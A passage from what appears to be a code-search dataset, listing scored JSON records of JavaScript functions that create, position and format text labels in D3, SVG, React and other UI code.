addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode.append(\"tspan\")\n .attr(\"xml:space\", \"preserve\")\n .attr(\"dy\", \"1em\")\n .attr(\"x\", \"1\")\n .text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "119111d5c2c59c39ef28f097be817f8b", "score": "0.6613966", "text": "function addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode.append(\"tspan\")\n .attr(\"xml:space\", \"preserve\")\n .attr(\"dy\", \"1em\")\n .attr(\"x\", \"1\")\n .text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "1412f88e54c4da33e0321f003d3574dd", "score": "0.65951467", "text": "function addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode\n .append(\"tspan\")\n .attr(\"xml:space\", \"preserve\")\n .attr(\"dy\", \"1em\")\n .attr(\"x\", \"1\")\n .text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "1412f88e54c4da33e0321f003d3574dd", "score": "0.65951467", "text": "function addTextLabel(root, node) {\n var domNode = root.append(\"text\");\n\n var lines = processEscapeSequences(node.label).split(\"\\n\");\n for (var i = 0; i < lines.length; i++) {\n domNode\n .append(\"tspan\")\n .attr(\"xml:space\", \"preserve\")\n .attr(\"dy\", \"1em\")\n .attr(\"x\", \"1\")\n .text(lines[i]);\n }\n\n util.applyStyle(domNode, node.labelStyle);\n\n return domNode;\n}", "title": "" }, { "docid": "ecd16834678e3c786f01f9f123e25ec9", "score": "0.6585539", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h2>\" + props[expressed] + \"</h2>\";\n //console.log(props);\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.ADMIN_CODE + \"_label\")\n .html(labelAttribute)\n \n var labelName = \"<h1>\" + props.NAME + \"</h1>\";\n var provinceName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(labelName);\n }", "title": "" }, { "docid": "35d18513e0c304bfaa43606b8f1d2c58", "score": "0.65270686", "text": "addLabel() {\n const title = `Location #${this.id}`;\n this.label = this.game.add.text(\n this.coords.x + 3,\n this.coords.y + 3,\n title,\n {\n font: '11px BerlinSansFB-Reg',\n fill: '#77C7D2',\n },\n );\n this.label.setShadow(3, 3, 'rgba(0,0,0,0.5)', 5);\n this.add(this.label);\n }", "title": "" }, { "docid": "81766731c989afedc2f8c11e100a40af", "score": "0.6524837", "text": "label(value) {\n this.context.label = `\\`${value}\\``;\n return this;\n }", "title": "" }, { "docid": "40dbada0324f3d380df9ba51021ae90e", "score": "0.6522139", "text": "getLabel() {\n const titleElement = this._titles?.get(0)?._elementRef.nativeElement;\n // If there is no explicit title element, the unscoped text content\n // is treated as the list item title.\n const labelEl = titleElement || this._unscopedContent?.nativeElement;\n return labelEl?.textContent || '';\n }", "title": "" }, { "docid": "2dd2c829f8807f2bb99a36dfd5692822", "score": "0.6511495", "text": "function createLabel(text){\n\tvar label = document.createElement('label');\n\tlabel.innerHTML = text;\n\treturn label;\n}", "title": "" }, { "docid": "b79e7019b9657337a337fdcbdcd77f9e", "score": "0.6507122", "text": "function makeLabelText(name) {\n return 'Get Details for ' + name;\n}", "title": "" }, { "docid": "2ab992e7806a23a175cf8349708d144e", "score": "0.650204", "text": "get label() {\n return this._label || \"\";\n }", "title": "" }, { "docid": "63d3a0f62601e840fe2625eb5b83bfd7", "score": "0.6496543", "text": "get label() {\n return this.getLabel();\n }", "title": "" }, { "docid": "2bcc9e9558bef9775f32857130801e2c", "score": "0.6483015", "text": "function nodeLabel(d, i) {\n if (d?.label === undefined) { return d.id; }\n return d.label;\n }", "title": "" }, { "docid": "12d5437c5d16afd72253534ee5b0b963", "score": "0.64746", "text": "mainLabel() {\n const selectedText = this.props.intl.formatMessage({ id: 'Terra.form.select.selected' });\n let label;\n if (this.props.display) {\n label = `${this.props.display} ${selectedText}, ${this.ariaLabel()}`;\n } else if (this.props.placeholder) {\n label = `${this.props.placeholder}, ${this.ariaLabel()}`;\n }\n\n return label || this.ariaLabel();\n }", "title": "" }, { "docid": "f0072d91d06183e9824805e860302778", "score": "0.6461094", "text": "function _position_label_text() {\n\n let label_text = this._elements.label_text;\n\n let x = this.$$sizes.circle.center.x;\n let y = this.$$sizes.circle.center.y;\n\n y += DEFAULTS.label_text.offsetY;\n\n label_text.setAttribute('x', x);\n label_text.setAttribute('y', y);\n label_text.setAttribute('text-anchor', 'middle');\n label_text.setAttribute('font-family', DEFAULTS.label_text.fontFamily);\n label_text.setAttribute('font-size', DEFAULTS.label_text.fontSize);\n label_text.setAttribute('stroke', 'none');\n label_text.setAttribute('stroke-width', '0');\n label_text.setAttribute('fill', DEFAULTS.label_text.color);\n label_text.appendChild(document.createTextNode(this.label));\n}", "title": "" }, { "docid": "d658d373da2bac3b4e5464938c114ada", "score": "0.6453345", "text": "renderLabel(props) {\n\t\tconst { label, labelOn, labelProps } = props;\n\t\tif (!label) return undefined;\n\t\t// Pull out `labelProps.className` if specified.\n\t\tconst className = `oak ${labelOn} label ${labelProps && labelProps.className || \"\"}`;\n\t\treturn (\n\t\t\t<label {...labelProps} className={className}>\n\t\t\t\t{label}\n\t\t\t</label>\n\t\t);\n\t}", "title": "" }, { "docid": "8096c79ada1dc6d5adfa2b5e5cb16c29", "score": "0.64483154", "text": "function LabelValue(label){\n return label;\n}", "title": "" }, { "docid": "a89e6b8f24338266aa48973d62dcca24", "score": "0.6427287", "text": "function label(t) {\n return t;\n}", "title": "" }, { "docid": "58650c4d257ba20f8b36bb3033abe693", "score": "0.64124537", "text": "static set miniLabel(value) {}", "title": "" }, { "docid": "f757376c8cb8be8217d4252160497adc", "score": "0.64003426", "text": "function setLabel(text) {\n label = text;\n var w = ctx.textWidth(label,0.5);\n if (w > 6) // there are 6 units across the screen\n w = 6;\n if (w < 2)\n w = 2;\n wbound = w / 2;\n ctx.onmodify();\n }", "title": "" }, { "docid": "b0516fc8d5ebad2c9d88e5d6418b6d12", "score": "0.63949287", "text": "function drawLabel() {\n fill(TOPIC_COLOR);\n noStroke();\n textSize(TOPIC_SIZE);\n textAlign(CENTER);\n \ttext(TOPIC_TEXT, 10,20);\n text(TOPIC_TEXT, BOARD_X_ORIGIN, BOARD_Y_ORIGIN - ELEMENT_HEIGHT);\n}", "title": "" }, { "docid": "316e00fcd9573169e38cdfdd574ebc31", "score": "0.63873094", "text": "function createlabel(parentElem, content, forTxt) {\n var label = document.createElement(\"label\");\n label.innerHTML=content;\n label.setAttribute(\"for\", forTxt);\n\n parentElem.appendChild(label);\n}", "title": "" }, { "docid": "d776db2e53a7f597db915097a76b8f8f", "score": "0.6385496", "text": "function Label(height, text) {\n this.height = height;\n this.text = text;\n }", "title": "" }, { "docid": "7181cc6988aca2bc3b2bf8ccbd6ac2cf", "score": "0.6384518", "text": "_label(label) {\n return `${label}${label && this.required ? '*' : ''}`;\n }", "title": "" }, { "docid": "6459ef6acb6f92059b5a3cb41eb5c10e", "score": "0.6379777", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.name + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.name);\n}", "title": "" }, { "docid": "9e59da106a2485bd6148038068d7136d", "score": "0.63779604", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.JURISDIC + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.name);\n }", "title": "" }, { "docid": "27f3283d2bbdae1cd0130e6abc0ebd44", "score": "0.6357233", "text": "static get miniLabel() {}", "title": "" }, { "docid": "a39f0d896b654c33a7c28c5efcdd98aa", "score": "0.63525134", "text": "createTextLabel(text, fontSize) {\n const label = this.rexUI.add.label({\n width: ITEM_WIDTH,\n height: ITEM_WIDTH,\n background: this.add.circle(0, 0, CIRCLE_RADIUS, PALETTE_NUMBERS.background),\n text: this.add.text(0, 0, text, {\n color: PALETTE.medium,\n fontSize,\n fontFamily: 'Bangers',\n padding: {\n left: 5, right: 5, top: 5, bottom: 5,\n },\n metrics: this.textMetrics[fontSize],\n }),\n align: 'center',\n });\n if (this.textMetrics[fontSize] === undefined) {\n this.textMetrics[fontSize] = label.childrenMap.text.getTextMetrics();\n }\n return label;\n }", "title": "" }, { "docid": "80a1a5ffa992fc045c16428cca1748ab", "score": "0.634605", "text": "function toggleLabels() {\r\n labelField = labelField == 'label' ? 'name' : 'label' \r\n cy.style().selector('node').style({\r\n 'label': function( ele ){ return decodeURIComponent(ele.data(labelField)) },\r\n }).update();\r\n}", "title": "" }, { "docid": "3986f2382fd7d5b74eb214677ea9ac71", "score": "0.6343767", "text": "function LabelText(label, fmt /*, ...args: any[]*/) { bind.LabelText(label, fmt /*, ...args*/); }", "title": "" }, { "docid": "e563e702ccfe1b1f1c8250afaf2afb1d", "score": "0.6333081", "text": "get label() {\n const labels = this.selectedLabels;\n if (labels.length <= 1) {\n return labels[0] || '';\n }\n // multiple mode, do according to UX specs\n const output = labels.join(MULTIPLE_LABEL_SEPARATOR);\n return output.length > MULTIPLE_LABEL_MAX_SIZE ? `${output.slice(0, MULTIPLE_LABEL_MAX_SIZE - 3)}...` : output;\n }", "title": "" }, { "docid": "3340afe2ad28c9c483176ecd4dc9a983", "score": "0.6323588", "text": "function draw_label(target, text, rotation, xAnchor, yAnchor, exClass, color) {\n if (color === undefined)\n color = \"black\";\n target.append('text').text(text)\n .style(\"fill\", color)\n .attr(\"class\", \"label \" + exClass)\n .attr(\"text-anchor\", \"middle\")\n .attr(\"x\", xAnchor)\n .attr(\"y\", yAnchor)\n .attr(\"transform\",\n \"rotate(\" + rotation + \",\" + xAnchor + \",\" + yAnchor + \")\");\n}", "title": "" }, { "docid": "e8f22cd7db5c3869275f0075ce6b0544", "score": "0.63182014", "text": "buildLabel() {\n if (!this.label) { return null; }\n\n this.labelobj = document.createElement('label');\n this.labelobj.setAttribute('for', this.id);\n this.labelobj.innerHTML = this.label;\n\n if (this.form) {\n this.labelobj.setAttribute('form', this.form.id);\n }\n\n if (this.help) {\n if (this.mute) {\n let s = document.createElement('span');\n s.classList.add('mutehelp');\n s.innerHTML = this.help;\n this.labelobj.appendChild(s);\n } else {\n this.helpbutton = new HelpButton({\n id: `${this.id}-help`,\n tooltip: this.help\n });\n this.labelobj.appendChild(this.helpbutton.button);\n }\n }\n }", "title": "" }, { "docid": "9d628985c013b747b4cd40d1441980f7", "score": "0.631589", "text": "function addNodeLabel(paper, settings, node, graphSet) {\n var x = node['x'] * settings['xScale'] + settings['xOffset'];\n var y = node['y'] * settings['yScale'] + settings['yOffset'] - 32;\n var label = paper.text(x, y, node[\"label\"]);\n\n\n var maxWidth = (settings['xScale'] / 2);\n // do some word wrapping here by testing the bounding box\n\n var labelWords = node['label'].replace(/(\\r\\n|\\n|\\r)/gm, '').split(\" \");\n var wrappedText = '';\n for (var idx in labelWords) {\n label.attr(\"text\", wrappedText + \" \" + labelWords[idx]);\n if (label.getBBox().width > maxWidth) {\n wrappedText += '\\n' + labelWords[idx];\n } else {\n wrappedText += ' ' + labelWords[idx];\n }\n }\n label.attr({\n 'font-size': 16\n });\n var bb = label.getBBox();\n var h = Math.abs(bb.y2) - Math.abs(bb.y);\n label.attr({\n 'y': node['y'] * settings['yScale'] + settings['yOffset'] - 16 - (h/2)\n });\n graphSet.push(label);\n }", "title": "" }, { "docid": "904890ee6300c96bfc905fb19cea2648", "score": "0.6303564", "text": "static get miniBoldLabel() {}", "title": "" }, { "docid": "d41a7720e2ddcfe82518f34a30dbbb9e", "score": "0.6298442", "text": "function setLabel(props, name){\n var labelAttribute = \"<h1>\" + props[expressed];// +\n //+ \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel w3-card\")\n .attr(\"id\", name + \"_label\")\n .html(labelAttribute);\n\n var neighborhoodName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(name);\n }", "title": "" }, { "docid": "73e8e62fcecf4278444621a85a8bc9a2", "score": "0.6282524", "text": "getLabel() {\r\n return this._getNodeFromCompilerNodeIfExists(this.compilerNode.label);\r\n }", "title": "" }, { "docid": "81b159fb03198627c7f0ebceb20e72fa", "score": "0.6282236", "text": "getLabel() {\n var _a, _b;\n return ((_a = this.typeaheadLabel) !== null && _a !== void 0 ? _a : (_b = this.element.textContent) === null || _b === void 0 ? void 0 : _b.trim()) || '';\n }", "title": "" }, { "docid": "f8b2ec593217c2a3da1255c650bb6787", "score": "0.627551", "text": "function Label(point, text, map) {\n this.point = point;\n this.text = text;\n this.div = null;\n this.setMap(map);\n}", "title": "" }, { "docid": "d0cee5a39cccec0abdda731f74b92c94", "score": "0.6273323", "text": "renderLabel(title, value) {\n return <>\n { this.props.showXLabel ? <Centered>\n <b>{title}:</b>\n <span className=\"m-1\">{value}</span>\n </Centered>\n :\n <></>\n }\n </>;\n }", "title": "" }, { "docid": "1d11b3e8453e6f31144d77876a87214e", "score": "0.62673455", "text": "function createLabel(textParam, forElm) {\r\n\t\t\t\tvar labl = document.createElement('label');\r\n\t\t\t\tlabl.appendChild(document.createTextNode(textParam));\r\n\t\t\t\tlabl.setAttribute('for', forElm.id);\r\n\t\t\t\t\r\n\t\t\t\treturn labl;\r\n\t\t\t}", "title": "" }, { "docid": "81a5bb13c84b963a82607ff411ed8f65", "score": "0.62459934", "text": "function setLabel(props){\n //label content\n if(props[expressed] === \"Gini Coefficient\"){\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n }else{\n var labelAttribute = \"<h1>\" + Math.round(props[expressed]*100) + //sets Label and multiplies by 100 to show proper percentages\n \"</h1><b>\" + expressed + \"</b>\";\n };\n //create info label div\n var infolabel = d3.select(\"body\") //creates infolabel for dynamic label\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.name10 + \"_label\")\n .html(labelAttribute);\n\n var tractName = infolabel.append(\"div\") //creates tract name\n .attr(\"class\", \"labelname\")\n .html(\"Tract \"+props.name10);\n}", "title": "" }, { "docid": "edac94d0aeab9ec3591b19b2cc4c4b8e", "score": "0.6238929", "text": "function toggleLabel() {\n var input = $(this);\n setTimeout(function() {\n var def = input.attr('title');\n if (!input.val() || (input.val() == def)) {\n input.prev('span').css('visibility', '');\n if (def) {\n var dummy = $('<label></label>').text(def).css('visibility','hidden').appendTo('body');\n input.prev('span').css('margin-left', dummy.width() + 3 + 'px');\n dummy.remove();\n }\n } else {\n input.prev('span').css('visibility', 'hidden');\n }\n }, 0);\n }", "title": "" }, { "docid": "81763a902bf0a1c23b64406915a7a1d3", "score": "0.6231611", "text": "function Label(text, type) {\n\n var elem = `<div class=\"label-${type}\"><p>${text}</p></div>`;\n this.lastParent = null;\n\n this.insertTo = (parent) => {\n this.lastParent = parent;\n var container = $(parent).find(\".label_container\")[0];\n container.innerHTML = elem;\n $(parent).css(\"height\", (Number($(parent).css(\"height\").replace(\"px\", \"\")) + 40 + Number($(parent).css(\"padding\").replace(\"px\", \"\"))) + \"px\");\n return this;\n }\n\n this.updateIn = (parent, heightChange) => {\n this.lastParent = parent;\n if ($(parent + \" .label-\" + type).length > 0) {\n $(parent + \" .label-\" + type).html(\"<p>\" + text + \"</p>\");\n }\n else {\n $(parent)[0].innerHTML += elem;\n }\n if (heightChange) $(parent).css(\"height\", (Number($(parent).css(\"height\").replace(\"px\", \"\")) + 40 + Number($(parent).css(\"padding\").replace(\"px\", \"\"))) + \"px\");\n return this;\n }\n\n this.addLabel = (label) => {\n $(this.lastParent).find(\".label_container\")[0].innerHTML += label.toString();\n return this;\n }\n\n this.toString = () => {\n return elem;\n }\n\n}", "title": "" }, { "docid": "11f46d92e5850e01be0601a86490dd84", "score": "0.62232596", "text": "function Label(height, text) {\n this.height = height;\n this.text = text;\n }", "title": "" }, { "docid": "6476c5523b45707cf63829310485c438", "score": "0.6221688", "text": "function getLabel(id) {\n var label = jQuery(\"#\" + id + \"_label\");\n if (label) {\n return label.text();\n }\n else {\n return \"\";\n }\n}", "title": "" }, { "docid": "368c513b7095ba996fd67c0812d299f0", "score": "0.6200771", "text": "function itemShowLabel() {\n // Check if the label is still present at all. When switching workpaces, the\n // item might have been destroyed in between.\n if (!this._labelText || this.label.get_stage() == null)\n return;\n\n this.label.set_text(this._labelText);\n this.label.opacity = 0;\n this.label.show();\n\n let [stageX, stageY] = this.get_transformed_position();\n let node = this.label.get_theme_node();\n\n let itemWidth = this.allocation.x2 - this.allocation.x1;\n let itemHeight = this.allocation.y2 - this.allocation.y1;\n\n let labelWidth = this.label.get_width();\n let labelHeight = this.label.get_height();\n\n let x, y, xOffset, yOffset;\n\n let position = Utils.getPosition();\n this._isHorizontal = ((position == St.Side.TOP) || (position == St.Side.BOTTOM));\n let labelOffset = node.get_length('-x-offset');\n\n switch (position) {\n case St.Side.LEFT:\n yOffset = Math.floor((itemHeight - labelHeight) / 2);\n y = stageY + yOffset;\n xOffset = labelOffset;\n x = stageX + this.get_width() + xOffset;\n break;\n case St.Side.RIGHT:\n yOffset = Math.floor((itemHeight - labelHeight) / 2);\n y = stageY + yOffset;\n xOffset = labelOffset;\n x = Math.round(stageX) - labelWidth - xOffset;\n break;\n case St.Side.TOP:\n y = stageY + labelOffset + itemHeight;\n xOffset = Math.floor((itemWidth - labelWidth) / 2);\n x = stageX + xOffset;\n break;\n case St.Side.BOTTOM:\n yOffset = labelOffset;\n y = stageY - labelHeight - yOffset;\n xOffset = Math.floor((itemWidth - labelWidth) / 2);\n x = stageX + xOffset;\n break;\n }\n\n // keep the label inside the screen border\n // Only needed fot the x coordinate.\n\n // Leave a few pixel gap\n let gap = 5;\n let monitor = Main.layoutManager.findMonitorForActor(this);\n if (x - monitor.x < gap)\n x += monitor.x - x + labelOffset;\n else if (x + labelWidth > monitor.x + monitor.width - gap)\n x -= x + labelWidth - (monitor.x + monitor.width) + gap;\n\n this.label.remove_all_transitions();\n this.label.set_position(x, y);\n this.label.ease({\n opacity: 255,\n duration: Dash.DASH_ITEM_LABEL_SHOW_TIME,\n mode: Clutter.AnimationMode.EASE_OUT_QUAD\n });\n}", "title": "" }, { "docid": "6ff61f12636405006adca6eab730bec3", "score": "0.6194782", "text": "function Control_AppendText(E, text) {\r\n var p = E.parentNode;\r\n var label = document.createElement(\"label\");\r\n label.setAttribute(\"for\", E.id);\r\n label.appendChild(document.createTextNode(text));\r\n p.appendChild(label);\r\n}", "title": "" }, { "docid": "ab2f8616c407a4200d77f7a968de885e", "score": "0.619006", "text": "function getLabel(id) {\r\n var label = jQuery(\"#\" + id + \"_label\");\r\n if (label) {\r\n return label.text();\r\n }\r\n else {\r\n return \"\";\r\n }\r\n}", "title": "" }, { "docid": "4d969d39c1f5e8bc8438a5f20391fb36", "score": "0.6187424", "text": "function ifNoneSetLabel(a,b){a&&!a.attr(\"data-lbl\")&&a.attr(\"data-lbl\",b.replace(/<br/g,\" <br\").replace(/\\n/g,\" \").replace(/<[^>]+>/g,\"\").replace(/ +$/g,\"\").replace(/[,*%$#@!+=]/g,\"\"))}", "title": "" }, { "docid": "63ced47acddc1703b2ac7992835471f1", "score": "0.6177069", "text": "function setLabel(props){\n\t//label content\n // contry props\n var allUnits = [\"% Rural population\",\n \"% Agricultural land\",\n \"% Arable land\",\n \"% Employment in agriculture\",\n \"% Forest area\"];\n\n var units = allUnits[attrArray.indexOf(expressed)];\n\n\tvar labelAttribute = \"<h2>\" + props[expressed].toFixed(2) +\n\tunits\t+ \"</h2>\";\n\n\t//create info label div\n\tvar infolabel = d3.select(\"body\")\n\t\t.append(\"div\")\n\t\t.attr({\n\t\t\t\"class\": \"infolabel\",\n\t\t\t\"id\": props.adm0_a3 + \"_label\"\n\t\t})\n\t\t.html(labelAttribute);\n\n\tvar countryName = infolabel.append(\"div\")\n\t\t.attr(\"class\", \"labelname\")\n\t\t.html(props.name);\n\n}", "title": "" }, { "docid": "9daaf15dfce15081f7ed40d2813ecb44", "score": "0.617142", "text": "static get whiteBoldLabel() {}", "title": "" }, { "docid": "8b557d0ad111264985ad93884a9c9a8a", "score": "0.617121", "text": "function labelFn (label) {\n return 'y = ' + label;\n }", "title": "" }, { "docid": "e311cb16350e8f83dd306c21793ded4d", "score": "0.6170302", "text": "function label(x, initialCap) {\n // x is an object\n function doCap(s) {\n // s = s.toString()\n if (initialCap) return s.slice(0, 1).toUpperCase() + s.slice(1);\n return s;\n }\n function cleanUp(s1) {\n var s2 = '';\n if (s1.slice(-1) === '/') s1 = s1.slice(0, -1); // chop trailing slash\n for (var i = 0; i < s1.length; i++) {\n if (s1[i] === '_' || s1[i] === '-') {\n s2 += ' ';\n continue;\n }\n s2 += s1[i];\n if (i + 1 < s1.length && s1[i].toUpperCase() !== s1[i] && s1[i + 1].toLowerCase() !== s1[i + 1]) {\n s2 += ' ';\n }\n }\n if (s2.slice(0, 4) === 'has ') s2 = s2.slice(4);\n return doCap(s2);\n }\n\n // The tabulator labeler is more sophisticated if it exists\n // Todo: move it to a solid-ui option.\n var lab;\n if (typeof tabulator !== 'undefined' && tabulator.lb) {\n lab = tabulator.lb.label(x);\n if (lab) {\n return doCap(lab.value);\n }\n }\n\n // Hard coded known label predicates\n // @@ TBD: Add subproperties of rdfs:label\n\n var kb = UI.store;\n var lab1 = kb.any(x, UI.ns.link('message')) || kb.any(x, UI.ns.vcard('fn')) || kb.any(x, UI.ns.foaf('name')) || kb.any(x, UI.ns.dct('title')) || kb.any(x, UI.ns.dc('title')) || kb.any(x, UI.ns.rss('title')) || kb.any(x, UI.ns.contact('fullName')) || kb.any(x, kb.sym('http://www.w3.org/2001/04/roadmap/org#name')) || kb.any(x, UI.ns.cal('summary')) || kb.any(x, UI.ns.foaf('nick')) || kb.any(x, UI.ns.rdfs('label'));\n\n if (lab1) {\n return doCap(lab1.value);\n }\n\n // Default to label just generated from the URI\n\n if (x.termType === 'BlankNode') {\n return '...';\n }\n if (x.termType === 'Collection') {\n return '(' + x.elements.length + ')';\n }\n var s = x.uri;\n if (typeof s === 'undefined') return x.toString(); // can't be a symbol\n // s = decodeURI(s) // This can crash is random valid @ signs are presentation\n // The idea was to clean up eg URIs encoded in query strings\n // Also encoded character in what was filenames like @ [] {}\n try {\n s = s.split('/').map(decodeURIComponent).join('/'); // If it is properly encoded\n } catch (e) {\n // try individual decoding of ASCII code points\n for (var i = s.length - 3; i > 0; i--) {\n const hex = '0123456789abcefABCDEF'; // The while upacks multiple layers of encoding\n while (s[i] === '%' && hex.indexOf(s[i + 1]) >= 0 && hex.indexOf(s[i + 2]) >= 0) {\n s = s.slice(0, i) + String.fromCharCode(parseInt(s.slice(i + 1, i + 3), 16)) + s.slice(i + 3);\n }\n }\n }\n if (s.slice(-5) === '#this') s = s.slice(0, -5);else if (s.slice(-3) === '#me') s = s.slice(0, -3);\n\n var hash = s.indexOf('#');\n if (hash >= 0) return cleanUp(s.slice(hash + 1));\n\n if (s.slice(-9) === '/foaf.rdf') s = s.slice(0, -9);else if (s.slice(-5) === '/foaf') s = s.slice(0, -5);\n\n // Eh? Why not do this? e.g. dc:title needs it only trim URIs, not rdfs:labels\n var slash = s.lastIndexOf('/', s.length - 2); // (len-2) excludes trailing slash\n if (slash >= 0 && slash < x.uri.length) return cleanUp(s.slice(slash + 1));\n\n return doCap(decodeURIComponent(x.uri));\n}", "title": "" }, { "docid": "5a8deb7e5ade80f9c9eba4b031fc055c", "score": "0.61685675", "text": "static get label() {}", "title": "" }, { "docid": "c0ebbd6037d4e8d28ebba1522e08b595", "score": "0.61668676", "text": "function Label() {\n\tthis.createLabel = function(text, id) {\n\t\tthis.item = document.createElement(\"p\");\n\t\tthis.item.setAttribute(\"id\", id);\n\t\tthis.item.innerHTML = text;\n\t},\n\n\tthis.setText = function(text) {\n\t\tthis.item.innerHTML = text;\n\t}\n}", "title": "" }, { "docid": "65014972b1186d72412f3d7beecb1bc4", "score": "0.6164321", "text": "function gh(t,e,i,n,a,o,r){var s=i.getModel(\"label\"),l=i.getModel(\"emphasis.label\");wa(t,e,s,l,{labelFetcher:a,labelDataIndex:o,defaultText:qc(a.getData(),o),isRectText:!0,autoColor:n}),hh(t),hh(e)}", "title": "" }, { "docid": "614f28367387cd59aca0c4ac775b0575", "score": "0.6164308", "text": "function setLabel(props){\n //label content\n if (props[expressed]>0){\n var labelAttribute = \"<h2>\" + props[expressed] +\n \"</h2><br><b>\" + attrName[expressed] + \"</b>\";\n }else{\n var labelAttribute = \"<h2>\"+\"No Data\"+\"</h2><br><b>\"+attrName[expressed]+\"</b>\";\n };\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.JURISDIC + \"_label\")\n .html(labelAttribute);\n\n var countyName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.JURISDIC_2);\n console.log(countyName);\n }", "title": "" }, { "docid": "9b4f90fe16e9e0d7505f769732d92413", "score": "0.61610806", "text": "function Label(opt_options) {\n\t// Initialization\n\tthis.setValues(opt_options);\n\n\t// Label specific\n\tvar span = this.span_ = document.createElement('div');\n\tspan.className = 'label';\n\n\tvar div = this.div_ = document.createElement('div');\n\tdiv.appendChild(span);\n\t//div.className = 'label';\n\tdiv.style.cssText = 'position: absolute; display: none';\n}", "title": "" }, { "docid": "b41523ece471ceaa6572982d620215ed", "score": "0.6156095", "text": "function Label() {\n Shape.call(this);\n\n /**\n * The labeled element\n *\n * @name Label#labelTarget\n * @type Base\n */\n labelRefs.bind(this, 'labelTarget');\n}", "title": "" }, { "docid": "b41523ece471ceaa6572982d620215ed", "score": "0.6156095", "text": "function Label() {\n Shape.call(this);\n\n /**\n * The labeled element\n *\n * @name Label#labelTarget\n * @type Base\n */\n labelRefs.bind(this, 'labelTarget');\n}", "title": "" }, { "docid": "95c06e70212c7d9172f0bb264cff884b", "score": "0.6152097", "text": "static set miniBoldLabel(value) {}", "title": "" }, { "docid": "f9306a41727daa086d107e173e234fed", "score": "0.61399955", "text": "_addLabel () {\n this.label = this._createElement('div');\n this.label.classList.add( CLASSES[ `label-button__label` ] );\n this.el.appendChild( this.label );\n }", "title": "" }, { "docid": "c6fa1220816fa7ea97c760e242a6caa6", "score": "0.61368454", "text": "setLabel(classLabel) {\n this.label = classLabel;\n }", "title": "" }, { "docid": "1388692b94f7978516fedac025355898", "score": "0.61335194", "text": "function setLabel(props){\n\t\t//label content\n\t\tvar labelAttribute = \"<h1>\" + props[expressed] +\n\t\t\t\"</h1><b>\" + expressed + \"</b>\";\n\n\t\t//create info label div\n\t\tvar infolabel = d3.select(\"body\")\n\t\t\t.append(\"div\")\n\t\t\t.attr(\"class\", \"infolabel\")\n\t\t\t.attr(\"id\", props.County + \"_label\")\n\t\t\t.html(labelAttribute);\n\n\t\tvar countyName = infolabel.append(\"div\")\n\t\t\t.attr(\"class\", \"labelname\")\n\t\t\t.html(props.COUNTY);\n\t}", "title": "" }, { "docid": "ead8e97cf414f2cc488a517bdb8e6f1e", "score": "0.6133482", "text": "function drawdataAnchorLabel() {\n center.selectAll('text.dataAnchor-label').remove();\n var dataAnchorNodesLabel = center.selectAll('text.dataAnchor-label')\n .data(dataAnchordata).enter().append('text').attr('class', 'dataAnchor-label')\n .attr('x', d => d.x).attr('y', d => d.y)\n .attr('text-anchor', d => Math.cos(d.theta) > 0 ? 'start' : 'end')\n .attr('dominat-baseline', d => Math.sin(d.theta) < 0 ? 'baseline' : 'hanging')\n .attr('dx', d => Math.cos(d.theta) * 15)\n .attr('dy', d => Math.sin(d.theta) < 0 ? Math.sin(d.theta) * (15) : Math.sin(d.theta) * (15) + 10)\n .text(d => d.name)\n .attr('font-size', '13pt')\n .attr('font-family', 'Cabin');\n }", "title": "" }, { "docid": "365413c7982f596ae946a1d59393c5e2", "score": "0.6131305", "text": "function SwitchLabel(props) {\n if (props.bold === true) {\n return (\n <Content>{props.label}</Content>\n );\n }\n return (\n <p>{props.label}</p>\n );\n}", "title": "" }, { "docid": "969c1be0418a5f9210fa868c353d0231", "score": "0.61286163", "text": "function makeLabels() {\n svgContainer.append('text')\n .attr('x', 260)\n .attr('y', 40)\n .style('font-size', '14pt')\n .text(\"Pokemon: Special Defense vs Total Stats\");\n svgContainer.append('text')\n .attr('x', 395)\n .attr('y', 490)\n .style('font-size', '10pt')\n .text('Sp. Def');\n svgContainer.append('text')\n .attr('transform', 'translate(15, 250)rotate(-90)')\n .style('font-size', '10pt')\n .text('Total');\n }", "title": "" }, { "docid": "d74016774b92a4e5944a810569da838d", "score": "0.6128227", "text": "function jvizToolNavbarLabel(obj)\n{\n\t//Check for undefined object\n\tif(typeof obj === 'undefined'){ var obj = {}; }\n\n\t//Label 